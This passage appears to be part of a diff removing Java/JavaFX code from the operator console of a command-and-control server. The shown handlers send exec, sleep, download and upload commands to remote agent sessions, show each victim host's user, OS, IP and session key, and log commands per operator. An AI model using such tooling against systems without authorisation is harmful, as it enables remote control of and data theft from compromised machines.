- SessionCountLabel.setText("⊟ " + SessionRows.size() + " Session" + (SessionRows.size() != 1 ? "s" : ""));
- });
- }
-
- private void SendTerminalCommand() {
- if (CmdInputField == null)
- return;
- String SidStr = TermInputField.getText().trim();
- String Cmd = CmdInputField.getText().trim();
- if (SidStr.isEmpty() || Cmd.isEmpty())
- return;
- int Sid;
- try {
- Sid = Integer.parseInt(SidStr);
- } catch (NumberFormatException E) {
- WriteTerminal("[!] Invalid session ID\n", true);
- return;
- }
- if (Server == null) {
- WriteTerminal("[!] Server not running\n", true);
- return;
- }
- WriteTerminal("❯ " + Cmd + "\n", false);
- CmdInputField.clear();
- AddLog("[>] #" + Sid + ": " + Cmd);
- final int FinalSid = Sid;
- Executors
- .newSingleThreadExecutor()
- .submit(() -> {
- String[] Result = Server.ExecuteCommand(FinalSid, Cmd);
- boolean Ok = Boolean.parseBoolean(Result[0]);
- Platform.runLater(() -> {
- WriteTerminal(Result[1] + "\n\n", false);
- AddLog((Ok ? "[+]" : "[!]") + " #" + FinalSid + ": " + (Ok ? "OK" : Result[1]));
- });
- });
- }
-
- private void RunExecCommand(String Body) {
- String[] Args = Body.trim().split("\\s+", 2);
- if (Args.length < 2) {
- AddLog("[!] Usage: exec ");
- return;
- }
- try {
- int Sid = Integer.parseInt(Args[0]);
- RunAgentCommand(Sid, Args[1]);
- } catch (NumberFormatException E) {
- AddLog("[!] Invalid session ID");
- }
- }
-
- private void RunShortcutCommand(String[] Parts, String Command) {
- if (Parts.length < 2) {
- AddLog("[!] Usage: " + Command + " ");
- return;
- }
- try {
- RunAgentCommand(Integer.parseInt(Parts[1]), Command);
- } catch (NumberFormatException E) {
- AddLog("[!] Invalid session ID");
- }
- }
-
- private void RunSleepCommand(String[] Parts) {
- if (Parts.length < 2) {
- AddLog("[!] Usage: sleep ");
- return;
- }
- String[] Args = Parts[1].split("\\s+", 2);
- if (Args.length < 2) {
- AddLog("[!] Usage: sleep ");
- return;
- }
- try {
- RunAgentCommand(Integer.parseInt(Args[0]), "sleep " + Args[1]);
- } catch (NumberFormatException E) {
- AddLog("[!] Invalid session ID");
- }
- }
-
- private void RunDownloadCommand(String[] Parts) {
- if (Parts.length < 2) {
- AddLog("[!] Usage: download ");
- return;
- }
- String[] Args = Parts[1].split("\\s+", 2);
- if (Args.length < 2) {
- AddLog("[!] Usage: download ");
- return;
- }
- try {
- RunAgentCommand(Integer.parseInt(Args[0]), "download " + Args[1]);
- } catch (NumberFormatException E) {
- AddLog("[!] Invalid session ID");
- }
- }
-
- private void RunUploadCommand(String[] Parts) {
- if (Parts.length < 2) {
- AddLog("[!] Usage: upload ");
- return;
- }
- String[] Args = Parts[1].split("\\s+", 3);
- if (Args.length < 3) {
- AddLog("[!] Usage: upload ");
- return;
- }
- try {
- RunAgentCommand(Integer.parseInt(Args[0]), "upload " + Args[1] + " " + Args[2]);
- } catch (NumberFormatException E) {
- AddLog("[!] Invalid session ID");
- }
- }
-
- private void RunAgentCommand(int Sid, String Cmd) {
- if (Server == null || !Server.IsRunning()) {
- AddLog("[!] Server not running");
- return;
- }
- AddLog("[>] SESSION-" + Sid + " → " + Cmd);
- Executors
- .newSingleThreadExecutor()
- .submit(() -> {
- String[] Result = Server.ExecuteCommand(Sid, Cmd);
- boolean Ok = Boolean.parseBoolean(Result[0]);
- Db.SaveCommandLog(Sid, OperatorName != null ? OperatorName : "gui", Cmd, Result[1], Ok);
- Platform.runLater(() -> AddLog((Ok ? "[+]" : "[!]") + " SESSION-" + Sid + ": " + Result[1]));
- });
- }
-
- private void ShowSessionInfoLog(String SidText) {
- try {
- int Sid = Integer.parseInt(SidText.trim());
- Optional Opt = Server.GetSessions().Get(Sid);
- if (Opt.isEmpty()) {
- AddLog("[!] Session not found");
- return;
- }
- Session S = Opt.get();
- AddLog("[*] ID=" + S.GetId() + " Name=" + S.GetDisplayName() + " Type=" + S.GetSessionType().name());
- AddLog("[*] Host=" + S.GetHostname() + " User=" + S.GetUser() + " OS=" + S.GetOs() + " Arch=" + S.GetArch());
- AddLog("[*] IP=" + S.GetAgentIp() + " Key=" + S.GetSessionKey() + " mTLS=" + S.IsMtlsEnabled());
- AddLog("[*] Note=" + Db.GetAgentNote(Sid));
- } catch (Exception E) {
- AddLog("[!] Usage: sysinfo ");
- }
- }
-
- private void SaveNoteCommand(String Body) {
- String[] Args = Body.trim().split("\\s+", 2);
- if (Args.length < 2) {
- AddLog("[!] Usage: note ");
- return;
- }
- try {
- int Sid = Integer.parseInt(Args[0]);
- Db.SetAgentNote(Sid, Args[1]);
- AddLog("[+] Note saved for SESSION-" + Sid);
- } catch (NumberFormatException E) {
- AddLog("[!] Invalid session ID");
- }
- }
-
- private void GetNoteCommand(String SidText) {
- try {
- int Sid = Integer.parseInt(SidText.trim());
- String Note = Db.GetAgentNote(Sid);
- AddLog("[*] Note SESSION-" + Sid + ": " + (Note.isEmpty() ? "(empty)" : Note));
- } catch (Exception E) {
- AddLog("[!] Usage: getnote ");
- }
- }
-
- private void ShowHistoryCommand(String Body) {
- String[] Args = Body == null || Body.isBlank() ? new String[0] : Body.trim().split("\\s+");
- int Sid = Args.length > 0 ? ParseInt(Args[0], 0) : 0;
- int Limit = Args.length > 1 ? ParseInt(Args[1], 25) : 25;
- List